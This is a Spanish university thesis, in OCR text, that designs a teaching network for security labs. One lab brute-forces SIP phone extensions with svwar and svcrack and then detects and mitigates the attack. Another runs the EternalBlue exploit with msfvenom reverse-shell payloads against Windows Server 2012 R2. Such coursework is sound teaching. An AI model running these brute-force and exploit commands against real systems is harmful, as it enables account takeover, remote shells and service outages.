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RESUMEN

El objetivo del presente trabajo es disefiar una infraestructura de red en la cual se pueda
aplicar diversos esquemas de seguridad de datos de acuerdo a las préacticas de laboratorio
que se presentan. Estas practicas tendran como tematica central los ataques
principalmente realizados a las instituciones educativas que conformaron parte de una
encuesta realizada por CEDIA en el afio 2014, ademas de incluir las tecnologias que se

presentan en la topologia de red.

Se propone el uso de un sistema de telefonia IP, de acuerdo al crecimiento que esta
tecnologia ha tenido durante los Gltimos afios en el Ecuador. Se expone un disefio de red
basado en un modelo de red empresarial con el objetivo de adaptar escenarios que se
puedan aplicar en la vida cotidiana. Esto va a permitir que el desarrollo y el aprendizaje de
la seguridad informatica en las instituciones educativas universitarias se torne interactivo.
De esta forma se espera que a partir del resultado que se obtenga, se generen nuevas
competencias a nivel académico y profesional, permitiendo que los estudiantes se
constituyan con un mejor perfil en el area de la seguridad informatica y que esta formacion
pueda llegar a ser considerada para futuras especializaciones en esta rama de la

informatica.
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CAPITULO 1

1. DESCRIPCION DEL PROBLEMA Y JUSTIFICACION DEL

PROYECTO.

En la actualidad, las instituciones educativas universitarias carecen de infraestructura en la
cual los estudiantes, profesores e investigadores puedan desarrollar proyectos estudiantiles
y llevar a cabo tareas de investigacién en el area de la seguridad informatica. En 2014,
CEDIA realiz6 una encuesta a 11 de las 29 universidades que forman parte de su red con
el fin de conocer el estado actual de la Gestion de Seguridad Informética en cada
Universidad miembro de CEDIA [1], con lo cual se obtuvo la informacién presentada en las

Tablas 1, 2 y 3, donde se muestran estadisticas sobre el tipo de universidad encuestada, el

presupuesto que se destina en seguridad informética y la existencia de lineas de

investigacion en esta area.

Publica 45%
Privada 55%

Tabla 1: Tipo de universidad encuestada.

Si 18%

No 82%

Tabla 2: Consulta sobre presupuesto destinado a la seguridad de lainformacion.
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Si 9%

No 91%

Tabla 3: Consulta sobre lineas de investigacidén en seguridad informética.

1.1 Objetivo General

Disefiar una infraestructura de red en la que se pueda implementar diferentes esquemas
de seguridad de datos de acuerdo ala elaboracion de practicas de laboratorio

estudiantil.

1.2 Objetivos Especificos

e Elaborar un manual de practicas de laboratorio de seguridad informatica,
empleando la metodologia de realizacion de un Ethical Hacking, para disefiar
la topologia de red.

e Definir el direccionamiento y la clasificacion de las redes que se utilizaran en el
disefio légico de la red.

e Definir la topologia de red y los equipos a usar en el disefio fisico.

e Establecer las configuraciones de seguridad de datos en los dispositivos de
interconexion, tales como conmutadores y enrutadores.

e Seleccionar los sistemas operativos y el software empleado en el

funcionamiento de la red.

1.3 Definiciones

1.3.1 ¢Qué es laseguridad informatica?

La seguridad informéatica se define como la disciplina que se encarga de disefar las
normas, procedimientos, métodos y técnicas destinados a conseguir un sistema
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informacién seguro y confiable. Un sistema de informacién, no obstante, las medidas de

seguridad que se le apliqgue no dejan de tener siempre un margen de riesgo [3].

1.3.2 ¢ Qué es una infraestructura de red?

La infraestructura de red es el medio fisico que permite el acceso a los servicios. Esta
conformada por varios elementos de red como: Cableado estructurado, alimentacién
eléctrica a los equipos, cuarto de comunicaciones, seguridad y control y la parte

electronica de la red [3].
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CAPITULO 2

2 SOLUCION PROPUESTA.

En este capitulo se realizard un andlisis donde se plantea la creacién de un ambiente
controlado que cuente con la infraestructura de red, donde se permita al estudiante realizar
pruebas de intrusién, ataques de denegacion de servicio (DoS), ataques de denegacion de
servicio distribuido (DDoS), ataques de tipo Man in the middle (MitM), ataques en redes
inaldmbricas, creacion de malware, proteccién activa de sistemas, hardening de servidores,
prevencién de intrusiones, ataques de suplantacién de identidad (spoofing), ataques de
phishing, entre otros. Para llevar a cabo los esquemas de seguridad de datos, se elaborara
un manual de practicas de laboratorio. Los equipos y el manual provisto le permitiran al
estudiante explorar vulnerabilidades a lo largo de los diferentes sistemas operativos, medios

de comunicacion y servicios que se utilizan hoy en dia.

2.1 Manual de practicas de laboratorio.

Para la elaboracion del manual de practicas se han seleccionado los principales ataques
informaticos que han tenido las universidades que fueron encuestadas por CEDIA en el afio
2014 [1]. Asimismo, se ha empleado el uso de tecnologias como telefonia IP, de acuerdo
al crecimiento que esta tecnologia ha tenido en el Ecuador durante los uUltimos afios [2]. Se
realizo las pruebas de concepto (PoC) concernientes a cada laboratorio en un software de

simulacién de redes y equipos virtualizados.

Lab 1: Spoofing en Telefonia IP

Tiempo de duracion: 90 min
Conocimientos Previos.
Para llevar a cabo el Lab 1, el estudiante debera poseer conocimientos en:

e Fundamentos de Telefonia IP.
e Access Lists en dispositivos Cisco.
e Fundamentos de Linux
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Objetivos de aprendizaje.
Al finalizar este laboratorio, el estudiante sera capaz de:

e Realizar ataques a sistemas de telefonia ip de acuerdo a la topologia presentada.
e Utilizar programas para la enumeracion de extensiones existentes en una PBX.

e Configurar reglas inter-zonas en el UTM Endian para establecer esquemas de
seguridad de acuerdo a la topologia presentada.

e Crear diccionarios de palabras para ataques de fuerza bruta usando el procesador
de texto nano.

¢ |dentificar ataques de telefonia ip usando los logs de asterisk.

e Verificar la actividad en la red con el firewall de Endian.

Escenario

En este laboratorio, el estudiante aprenderd a realizar un ataque de suplantacién de
identidad a un servidor basado en Issabel. Posteriormente realizara un reconocimiento del
ataque, identificando las vulnerabilidades encontradas para finalmente realizar la mitigacion
correspondiente.

Tarea 1: Realizar el ataque.

En esta tarea el estudiante aprendera a reconocer y explotar una vulnerabilidad existente
en la PBX que utiliza el sistema operativo Issabel, con el fin de suplantar la identidad de un
teléfono IP.

Paso 1: Identificar el servidor de telefonia.

Abrir una terminal en Kali y utilizar el programa svmap para identificar qué servidor esta
utilizando una pbx en la DMZ.

root@Kkali:~#svmap 200.10.120.0/29

:~# svmap 200.10.120.6/29
| SIP Device | User Agent | Fingerprint |

Figura 2.1: Identificando la PBX.
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En la Figura 2.1 podemos observar los resultados tabulados por los campos “SIP Device”,
“User Agent” y “Fingerprint”, que indican la direccion IP del dispositivo identificado, el
nombre de la PBX que esta usando el dispositivo y el sistema operativo, respectivamente.

Paso 2: Obtener las extensiones de la PBX.

En la terminal utilizar el programa svwar para verificar, de acuerdo a un rango especifico de
extensiones, si tales extensiones existen en la PBX.

root@Kkali:~#svwar -e100-200 200.10.120.4

:~# svwar -e100-200 200.10.120.4
Extension | Authentication |

regauth
regauth
reqauth
reqauth
regauth
regauth
regauth
regauth
regauth
regauth

Figura 2.2: Enumerando las extensiones.

Las extensiones que existen en la PBX dentro del rango 100-200 son mostradas en la
Figura 2.2. Todas las extensiones requieren autenticacion para su registro.

Paso 3: Crear diccionario de contrasefas.

Crear un archivo de texto en el cual incluir las posibles contrasefias que pueden haberse
configurado para cada extension existente. Sugerencia: utilizar el procesador de texto
“nano” para crear el diccionario.

root@Kkali:~#nano Documents/phone_dict
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root@Kkali: ~ e ® O
File Edit View Search Terminal Help
GNU nano 2.7.4 File: Documents/phone dict

Bdmin
Admin
adminl23
123

12345
elastix
issabel
adminl03
Adminl03
Issabell04
issabell04
Password105
passwordl05
Company106
compania
companial@6
Compania
Companial@6
company

[ Read 50 lines ]
B¢ Get Help QY Write Out g Where Is @ Cut Text @8] Justify @€ Cur Pos
R Exit @i Read File gl Replace gl Uncut Textgl] To Spell @l Go To Line

Figura 2.3: Creando diccionario para ataques de fuerza bruta.

En la Figura 2.3 podemos observar la interfaz del procesador de texto “nano” con algunas
de las posibles contrasefias que se pueden incluir para realizar el ataque de fuerza bruta.

Paso 4: Crear el script para automatizar el ataque.

En la terminal crear un archivo de texto en el cual se va a programar el ataque de fuerza
bruta. Sugerencia: utilizar el procesador de texto “nano” para crear el script.

root@kali:~#nano crack.sh
#! /bin/bash

foriin {100..110}

do

svcrack -u $i -d /root/Documents/phone_dict 200.10.120.4

done
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root@Kkali: ~ @ ® O
File Edit View Search Terminal Help
GNU nano 2.7.4 File: Documents/crack.sh
00 0
oot/Do e phone d 00.10 0.4
[ Read 8 lines ]
/\G - o D I\O o . A o o A o I\J I\C ..
ead e @\ Replace U e 0 e o To e 5

Figura 2.4: Programacién de Cddigo en bash.

Paso 5: Ejecucion del ataque.

root@kali:~#chmod +x crack.sh

Como se aprecia en la Figura 2.4, la interfaz de “nano” nos permite programar cédigo con
la identificacion de las palabras reservadas del lenguaje en el que escribimos. El cédigo
mostrado nos permitira automatizar el ataque de fuerza bruta.

Dar permisos de ejecucion al script creado y ejecutarlo en la terminal. Almacenar el
resultado en un archivo para acceder a los resultados de manera ordenada.

root@kali:~#./crack.sh > Documents/extensiones.log

:~# cat Documents/extensiones.log
| Extension |

Password |
adminl23
Password
Adminl03
Password

Passwordl05 |

Figura 2.5: Fichero de texto con contrasefias
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Con el comando “cat”, como se ilustra en la Figura 2.5, podemos leer el archivo donde
hemos almacenado las credenciales usuario/contrasefia que hemos obtenido del ataque de
fuerza bruta

Paso 6: Explotacion.

Configurar el software Ekiga con la extension y clave obtenida. Comprobar que se puedan
realizar llamadas a otros teléfonos.

Edit account (<]

Please update the following fields:
Name: [Presidencia [

Registrar: {200.10.120.4
User: {101 [

. T —

Password: i""""
{3600

@ Enable account

| Cancel | OK

Figura 2.6: Configuracién de la extensién

La Figura 2.6 nos muestra la ventana de configuracion del registro de la extension. En el
campo “Name” elegimos el nombre que le daremos a la cuenta; en el campo “Registrar”
ingresaremos la direccion IP del servidor de telefonia; los campos “User” y “Authentication
user” deberan ser llenados con el numero de la extensién a registrar; el campo “Password”
contendra la contrasefia correspondiente a la extension a configurar.

Ekiga » sip1584637115@200.101204 © ©
Chat Edt View Help Call View
: D@ o @ T |
Available
1 3gef
o[ Smon

Tpaes || Bow || wayz

Connected with sip:1584637115@200.10.120.4
~ 00:00:17

gl A:0.0/3.4V:0.0/0.0 FPS:0/0

Figura 2.7: Realizaciéon de Llamada telefonica.
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En la Figura 2.7 se muestra el panel de marcaciéon de llamadas del Softphone “Ekiga”, en
el cual se aprecia la realizacion de una llamada a la extensién 1584637115.

Tarea 2: Realizar el reconocimiento.

En esta tarea el estudiante aprendera a identificar al host que ha explotado la vulnerabilidad
en el servidor de telefonia, realizando un analisis sobre el sistema comprometido.

Paso 1: Verificar las [lamadas realizadas en el CDR del servidor SRV-TEL.

Utilizar un navegador web para ingresar a la interfaz de Issabel con la direccion
200.10.120.4 como se observa en la Figura 2.8.

Issabel - Login page - Mozilla Firefox o0

J " Issabel - Login page x| *
€ 0a 200.10.120.4 c Search wBe 9 3 f#

[ Most Visited v JllOffensive Security Sy Kali Linux % Kali Docs “ Kali Tools ERExploit-DB W Aircrack-ng

+=2 Issabel

Figura 2.8: Interfaz web de Issabel.

Ingresar con el usuario y contrasefia provistos por el instructor y verificar en la opcion
“Records” el registro de las llamadas realizadas del CDR Report.
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L

Reports | CDR Report
There is no extension number associated with the current user. You can associate an extension number to your user by clicking here x

& Delete displayed CDR(s) T Show Fiter | = & Download | =

Fiter appled: Start Date = 03 Aug 2017, End Date = 27 Aug 2017 Riter appled: Status = ALL

2017-08-18 OL'S&13 101 1584637115 SIP/101-00000000 SIP/1584637115-00000001 ANSWERED 1023s {17m 3s)

Issabel is icensed under GPL. 2006 - 2017

Figura 2.9: CDR de Issabel.

Los resultados del reporte de llamadas se muestran en la interfaz presentada en la Figura
2.9. Analizar los resultados obtenidos del reporte de llamadas.

Paso 2: Verificar logs y reportes del firewall del UTM SRV-UTM.

Utilizar un navegador web, como se observa en la Figura 2.10, para ingresar a la interfaz
de Endian a través de la direccion https://192.168.77.1:10443. Ingresar con el usuario y
contrasefa provistos por el instructor.

Authentication Required

z{’}) A username and password are being requested by https://192.168.77.1:10443. The site says:
“Restricted"

User Name: | admin T ]

Password: | esessssseses ]

Figura 2.10: Portal web de acceso a Endian.
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En el dashboard mostrado en la Figura 2.11, dar click en “Logs and Reports”. Siguiente a
esto, elegir la opcion del Firewall.

endian firewall

community

Lve Log Firewall log viewer

g Settings

Fiter: [ np to Date: [2017-08-28 np to Page: |1 Update Export

Firewall
oo -
Trusted Timestamping Total number of firewall hits for day 2017-08-28: 34 - Page 1 of 1

Older New

Figura 2.11: Vista de “Logs and Reports”.

Analizar los resultados obtenidos de los logs y reportes de actividad del firewall.

Paso 3: Verificar logs de asterisk en el servidor de telefonia SRV-TEL.

Ingresar al sistema operativo con las credenciales de acceso provistas por el instructor.
Dirigirse al directorio /var/log/Asterisk como se muestra en la Figura 2.12.

o access your Issabel System, using a separate workstation (PC/MAC-Linux)
Jpen the Internet Browser using the following URL:
ttp:r-288.18.128 .4

[root@issabel ~1#

[root@Pis=sabel ™ 1#

[root@Pis=sabel ™ 1#

[root@issabel ™1

[root@issabel "1# cd svar-log-rasterisk-
[root@issabel asteriskl#t

[root@issabel asteriskl#t

[rootPissabel asteriskl#t

Figura 2.12: Directorio de logs de asterisk.

Realizar la busqueda de logs filtrando los resultados con las sentencias “No matching peer
found” y “Wrong password”.
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[root@issabel asterisk]#cat full | grep “No matching peer found” | more

failed for "192.168.188.2:5868° - No matching peer found
1Z27:311 NOTICEL32731 chan_sip.c: Registration from ""141"<sip:
failed for '192.168.188.2:5868"' - Ho matching peer found
:27:311 NOTICEL32731 chan_sip.c: Registration from ""142"<sip:
failed for "192.168.188.2:586A° - No matching peer found
:27:311 NOTICEL32731 chan_sip.c: Registration from '"143"<sip:

failed for *192.168.188.2:5868° - No matching peer found
:2?:31] NOTICEL32731 chan_sip.c: Registration from ""144"<sip:
failed for '192.168.188.2:5868"' - Ho matching peer found
:2?:31] NOTICEL32731 chan_sip.c: Registration from *"145"<sip:
failed for "192.168.188.2:5868° - No matching peer found
:2?:31] NOTICEL32731 chan_sip.c: Registration from '"146"<sip:
failed for '192.168.188.2:5868"' - Ho matching peer found

Figura 2.13: Logs con el filtro “No matching peer found”.

Los logs obtenidos con la busqueda nos muestran que se ha realizado un ataque de
reconocimiento a las extensiones existentes en la PBX, como se ve en la Figura 2.13.

[root@/ssabel asteriskJ#cat full | grep “Wrong password”| more

Az2:28: 33] HDTICE[SZ?S] chan _sip.c: Reglstratlun frum 'r1p5"

.4>" failed for '192.168.188.2:5868° - Wrong password
A2:28:381 HOTICEL3273]1 chan_sip.c: Registration from ’''"185"

.4>" failed for '192.168.188.2:5868° - Wrong password
AZ:28:381 HOTICEL3273]1 chan_sip.c: Registration from ’"185"

. .4>" failed for '192.168.188.2:5868° - Wrong password
-A8-18 BZ2:2B:381 NOTICEL3273]1 chan_sip.c: Registration from ’"1B85"

.18.128.4>" failed for ’'192.168.188.2:5868" - Wrong password

-A8-18 BZ2:2B:381 NOTICEL3273]1 chan_sip.c: Registration from ’"1B85"
.18.128.4>" failed for ’'192.168.188.2:5868" - Wrong password

-18 BZ:28:381 NOTICEL32731 chan_sip.c: Registration from *"185"
.18.128.4>" failed for ’'192.168.188.2:5868" - Wrong password
-A8-18 BZ2:2B:391 NOTICEL3273]1 chan_sip.c: Registration from ’"1B85"
.18.128.4>" failed for ’'192.168.188.2:5868" - Wrong password
-AB8-18 BZ2:2B:441 NOTICE[3273]1 chan_sip.c: Registration from ’"186"

Figura 2.14: Logs con el filtro “Wrong password”.

Con los resultados de la busqueda se puede determinar que se ha realizado un ataque de
fuerza bruta contra las extensiones de la PBX. Esto se puede apreciar en la Figura 2.14.

Tarea 3: Realizar la mitigacion.

En esta tarea el estudiante aprendera a establecer esquemas de seguridad de datos para
mitigar las vulnerabilidades encontradas, mediante el uso de los conocimientos y
herramientas previas.
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Paso 1: Crear reglas de acceso inter-zonas en el firewall del servidor SRV-UTM.

Ingresar a la interfaz de Endian como se observa en la Figura 2.15. Dar click en la opcién
“Firewall” y elegir “Inter-Zone traffic”.

@ ENDIAN.localdomain .. * ¥

€) ® @ | https://192.168.77.1:10443/cgi-bin/zonefw.cgi ¢ |[Q Search we 9 & & =

Mot Visited v Jf§Offensive Security % Kali Linux %, Kali Docs 4 Kali Tools [MExploit-DB Wy Aircrack-ng

Logout % Heip EI#

endian firewall,

community

Port forwarding  NAT Inter-Zone firewall configuration

1 GREEN (48 |
2 GREEN *eFIT
3 GREEN *EF IR
4 BLUE XY - a1
5 [ XT T3]
8 *eF IR
7 192.168.30.024 TEL - ISSABEL *¥0 ST
8 <ANY> ALL - ISSABEL * 0S8
en

Figura 2.15: Interfaz de configuracién de reglas Inter-zonas.

Crear una nueva regla dando click en “Add a new inter-zone firewall rule”. Agregar una regla
para permitir el acceso sélo a los hosts de la vlan 30 a través de cualquier protocolo como
se muestra en la Figura 2.16.

Inter-Zone firewall configuration

Edit zone firewall rule

Source Destination
Type® |MetworkilP ¥ Type® | NetworkiP ¥
Insert Network/IPs (one per lin). Insert network/IPs (one per lin):
192.168.30.0/24 ‘ 200.10.120.4
ServicelPort
Service * Protocol Destination port (one per line)
<ANY> v | | <anvs v || |
Policy
Action * Remark Position *
[ Aow v | TEL - IS5ABEL | After ule #6 v
O Enabled [0 Log all accepted packets

Figura 2.16: Creacién de nueva regla de acceso Inter-zona

Agregar otra regla para denegar el acceso a cualquier otro host a través de cualquier
protocolo como se realiza en la Figura 2.17.
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Inter-Zone firewall configuration

E Current rules
Edit zone firewall rule
Source Destination
Type™ | <ANY> ¥ | Type™® | Network/IP v |
This rule will match any destination Insert network/IPs (one per ling):
|200.10.120.4 |
Service/Port
Service * Protocol * Destination port (one per line)
| <ANY= ¥ | | <ANY> ¥
Palicy
Action * Remark Pasition *
| DENY ¥ ALL - ISSABEL | After rule #7 ¥ |

Figura 2.17: Creaciéon de nueva regla de denegacion Inter-zona

Paso 2: Crear reglas de acceso en el Switch SW-HQ.

Emplear el uso de access lists en el switch SW-HQ para permitir o denegar el tréafico
proveniente de la capa de acceso hacia el servidor de telefonia SRV-TEL.

SW-HQ(config)#ip access-list extended ACCESO_A SERVIDORES
SW-HQ(config-ext-nacl)#101 permit tcp 192.168.30.0 0.0.0.255 host 200.10.120.4
SW-HQ(config-ext-nacl)#102 permit udp 192.168.30.0 0.0.0.255 host 200.10.120.4
SW-HQ(config-ext-nacl)#103 permit icmp 192.168.30.0 0.0.0.255 host 200.10.120.4
SW-HQ(config-ext-nacl)#200 deny tcp any host 200.10.120.4
SW-HQ(config-ext-nacl)#201 deny udp any host 200.10.120.4

SW-HQ(config-ext-nacl)#202 deny icmp any host 200.10.120.4

Aplicar la access-list creada en las interfaces troncales que conectan a los Switches SW-
RA 'y SW-RB.

SW-HQ(config)#interface range GigabitEthernet 0/2-3

SW-HQ(config-if)#ip access-group ACCESO_A_SERVIDORES in
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Desactivar las interfaces en desuso de los Switches SW-RA y SW-RB.
SW-RA(config)#interface range GigabitEthernet0/19-24
SW-RA(config-if)#shutdown

SW-RB(config)#interface range GigabitEthernet0/18-24

SW-RB(config-if)#shutdown

Tarea 4: Verificar los resultados.

En esta tarea el estudiante aprendera a comprobar la aplicacion de los esquemas de
seguridad anteriormente empleados, realizando los pasos de la Tarea 1.

Paso 1: Revisar logs del Firewall del UTM.

Entrar a la interfaz del Firewall de Endian y revisar los logs con el fin de encontrar paquetes
descartados en la comunicacion entre el atacante y el servidor de acuerdo a los esquemas
de mitigacion implementados.

el Live logs Decrease height Increase height

ZONEFW:DROP (br0) 192.168.100.2:brl -> 200.10.120.4:08:00: 27:7f:88:93:¢2:02: 14:a4:00:00:08:00 (brl) *
ZONEFW:DROP (br0) 192.168.100.2:brl -> 200.10.120.4:08:00: 27:7f:88:93:¢2:02: 14:a4:00:00:08:00 (brl) *
ZONEFW:DROP (br0) 192.168.100.2:brl -> 200.10.120.4:08:00:27: 7f:88:93:¢2:02: 14:a4:00:00:08:00 (brl) *
ZONEFW:DROP (br0) 192.168.100.2:brl -> 200.10.120.4:08:00: 27: 7f:88:93:¢2:02: 14:a4:00:00:08:00 (brl) *
ZONEFW:DROP (lbr0) 192.168.100.2:brl -> 200.10.120.4:08:00: 27:7f:88:93:¢2:02:14:a4:00:00:08:00 (brl) *
ZONEFW:DROP (br0) 192.168.100.2:brl -> 200.10.120.4:08:00: 27:7f:88:93:c2:02:14:a4:00:00:08:00 (brl) *

Figura 2.18: Logs del Firewall de Endian

Los logs mostrados en la Figura 2.18 evidencian que se estan descartando los paquetes
enviados por el atacante hacia el servidor 200.10.120.4.

Paso 2: Ejecutar el ataque y observar los cambios.

Realizar los pasos de la Tarea 1 y verificar que el atacante no tenga éxito. De esta forma
podremos concluir que se ha mitigado la amenaza.
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:~# ping 200.10.120.4
PING 200.10.120.4 (200.10.120.4) 56(84) bytes of data.
H(E
--- 200.10.120.4 ping statistics ---
92 packets transmitted, 0 received, 100% packet loss, time 93163ms

:~# svmap 200.10.120.4
WARNING: root:found nothing

:~# svywar -el00-150 200.10.120.4
ERROR:TakeASip:socket error: timed out
WARNING: root:found nothing

:~# svcrack -ul00 200.10.120.4
ERROR:ASipOfRedWine:no server response
WARNING:root:iound nothing

~#

Figura 2.19: Resultados de la ejecucién del ataque.

” W

Como resultado, los programas “svmap”, “svwar” y “svcrack” nos devuelven los errores
como se muestan en las lineas 7, 9y 12 de la Figura 2.19, donde también se puede apreciar,
en la linea 5, que la solicitud de ping tampoco tuvo éxito.

Lab 2: DoS en Windows Server 2012 R2

Tiempo de duracion: 90 min
Conocimientos Previos.
Para llevar a cabo el Lab 2, el estudiante debera poseer conocimientos en:

e Sistemas Operativos de Red.
e Access Lists en dispositivos Cisco.
¢ Fundamentos de Linux

Objetivos de aprendizaje

Al finalizar este laboratorio, el estudiante sera capaz de:

e Realizar ataques de denegacion de servicio (DoS) a un servidor con Windows
Server 2012 R2 de acuerdo a la topologia presentada.
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e Emplear el uso del software “metasploit” para explotar vulnerabilidades.

e Preparar un vector de ataque de acuerdo a una vulnerabilidad.

e Crear payloads para usar en conjunto a un exploit.

e Emplear el uso de exploits.

e Emplear el uso del software “nmap” para realizar la enumeracion de dispositivos con
fingerprinting en la red.

e Habilitar el uso del IPS (Intrusion Prevention System) en el servidor SRV-UTM.

o Emplear el uso de la herramienta “Event Viewer” en Windows Server 2012 R2.

Escenario

En este laboratorio, el estudiante aprenderda a realizar un ataque de denegacion de servicio
(DoS) a un servidor basado en Windows Server 2012 R2. Posteriormente realizara un
reconocimiento del ataque, identificando las vulnerabilidades encontradas para finalmente
realizar la mitigacion correspondiente.

Tarea 1: Realizar el ataque.

En esta tarea el estudiante aprendera a reconocer y explotar una vulnerabilidad existente
en un servidor con Windows Server 2012 R2, con el fin de ejecutar un ataque de denegacion
de servicio en el mismo.

Paso 1: Identificar el objetivo

Realizar la enumeracion de dispositivos con el programa “nmap” para identificar el sistema
operativo del servidor SRV-TEST vy la direccion ip asociada al mismo desde la PC KALI.

root@kali:~#nmap -O 200.10.120.0/29

Con el pardmetro -O indicamos al programa que también nos devuelva como resultado el
sistema operativo que utilizan los nodos de la red especificada.
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Nmap scan report for 200.10.120.2
Host is up (0.045s latency).
Not shown: 990 closed ports
STATE SERVICE
open msrpc
open netbios-ssn
open microsoft-ds
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
Device type: general purpose
Running: Microsoft Windows 2012
0S CPE: cpe:/o:microsoft:windows server 2012:r2
0S details: Microsoft Windows Server 2012 R2

Figura 2.20: Resultado de escaneo con nmap.

Los resultados nos muestran los puertos légicos con su respectivo estado y servicio.
También podemos observar que el sistema operativo que usa el host es Windows Server
2012 R2, como se muestra en la Figura 2.20.

Paso 2: Preparar el vector de ataque [4].

Descargar la kernel shellcode desarrollada por Sleepya desde la siguiente direccion web:

https://qgist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-
eternalblue x64 kshellcode-asm

Guardar el archivo en la computadora, renombrarlo a “kernel_shell_x64.asm” y ensamblarlo
con la siguiente sentencia usando el programa “nasm”:

root@kali:~#nasm -f bin kernel_shell_x64.asm

Generar los payloads con la herramienta msfvenom.

root@kali:~#msfvenom -p windows/x64/shell/reverse_tcp -f raw -0 shell_msf.bin
EXITFUNC=thread LHOST=192.168.100.2 LPORT=4444


https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
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:~/Documents/eternalblue# msfvenom -p windows/x64/shell/reverse tcp -f
raw -o shell msf.bin EXITFUN=thread LH0ST=192.168.100.2 LPORT=4444
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad

No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Saved as: shell msf.bin

Figura 2.21: Generar payload de shell

En la Figura 2.21 podemos ver el uso de la herramienta “msfvenom”, con la cual creamos
el payload “shell_msf.bin”. Aqui se selecciona el payload con el parametro “-p”, la direccién
IP del atacante con el parametro “LHOST” y el puerto de la conexién con “LPORT”.

root@kali:~#msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o
meterpreter_msf.bin EXITFUNC=thread LHOST=192.168.100.2 LPORT=4444

:~/Documents/eternalblue# msfvenom -p windows/x64/meterpreter/reverse t
cp -T raw -o meterpreter msf.bin EXITFUN=thread LHOST=192.168.100.2 LPORT=4444
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad

No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Saved as: meterpreter msf.bin

Figura 2.22: Generar payload de meterpreter.

De la misma forma, en la Figura 2.22 podemos ver el uso de la herramienta “msfvenom”,
con la cual creamos el exploit “meterpreter_msf.bin”.

Generar los payloads finales, concatenando la kernel shellcode con los payloads de
metasploit.

root@kali:~#cat kernel_shell_x64 shell_msf.bin > reverse_shell.bin
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:~/Documents/eternalblue# cat kernel shell x64 shell msf.bin > reverse

shell.bin

Figura 2.23: Concatenacién de Payload shell.

root@Kkali:~#cat kernel_shell x64 meterpreter_msf.bin > meterpreter.bin

:~/Documents/eternalblue# cat kernel shell x64 meterpreter msf.bin > me

terpreter.bin

Figura 2.24: Concatenacion de Payload meterpreter.

En la Figura 2.23 y en la Figura 2.24 podemos observar cémo se emplea el comando “cat”
para concatenar la kernel shellcode con los payloads antes creados.

Descargar el exploit del siguiente enlace y guardarlo con extension “.py”:

https://qist.qgithub.com/worawit/074a27e90a3686506fc586249934a30e

Abrir el exploit con un procesador de texto y editar las lineas 42 y 43 que hacen referencia
al usuario y contrasefa con el que se realizard el ataque tal y como se muestra en la Figura
2.25. Guardar los cambios.

- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berr$
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution

USERNAME="Guest '
PASSWORD=""
NTFEA SIZE = 0x9000

ntfea9000 = (pack(‘<BBH', 0, 0, 0) + "\x00')*0x260
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d

¢ Get Help Write Out Where Is @M Cut Text @8] Justify @@ Cur Pos
Y Read File Replace gl Uncut Textgll To Linter g Go To Line

Figura 2.25: Modificacion de exploit.

Preparar la computadora para que reciba la respuesta del ataque. En la consola ejecutar el
comando “msfconsole”. Como resultado tendremos una interfaz como la que se observa en
la Figura 2.26.


https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

root@kali:~#msfconsole

dBBBBBBb dBBBP dBBBBBBP dBBBBBb .
! dB'
dB'dB'dB* dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP  dBP dBBBBBBB

dBBBBBb  dBP dBBBBP dBP dBBBBBBP
dB' dBP dB'.BP
dBBBB' dBP dB'.BP dBP dBP
dBP dBP dB'.BP dBP dBP
dBP dBBBBP dBBBBP dBP dBP

To boldly go where no
shell has gone before

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

14.10-dev 1
- 944 auxiliary - 289 post ]
472 payloads - 40 encoders - 9 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figura 2.26: Interfaz de linea de comandos de Metasploit.
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Dentro del framework introducir las siguientes sentencias para esperar la conexion inversa:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.100.2

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

msf > use exploit/multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit( ) > set LHOST 192.168.100.2

LHOST => 192.168.100.2

msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.100.2:4444
[#] Starting the payload handler...

Figura 2.27: Metasploit en espera de la conexién inversa.

En la Figura 2.27 observamos que se utiliza el exploit “handler”, que recibe una conexion.
Se configura el payload “Windows/meterpreter/reverse_tcp”; como “LHOST” se configura la
direccion IP del atacante y como “LPORT” el puerto l6gico con el que se establecera la

conexion. Finalmente se utiliza la sentencia “exploit” para comenzar el ataque.
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Paso 3: Ejecutar el exploit.
Abrir una nueva terminal. Ingresar la siguiente sentencia para ejecutar el exploit:
root@kali:~#python eternalblue8_exploit.py 200.10.120.2 meterpreter.bin 1000

# python eternalblue8 exploit.py 200.10.120.2 m

eterpretef.bin 1000

rver 2012 R2 Datacenter 9600
d NT Trans r se
NT Trans r 2
ion setup

X3
1 last)
Lloit.py", line 563, in <module>
exploit(TARGET, numGroomConn)
File "eternalblue8 exp

*

Figura 2.28: Ejecucion del exploit.

El resultado del ataque se muestra en la Figura 2.28, donde se observa la respuesta que
confirma que el servidor ha reiniciado la conexién debido a que ha dejado de funcionar
momentaneamente.

Verificar el BSOD (Blue Screen Of Death) en el servidor SRV-TEST. El resultado debe ser
similar al mostrado en la Figura 2.29.

Your PC ran into a problem and needs to restart. We're just
collecting some error info, and then we'll restart for you. (40%

complete)

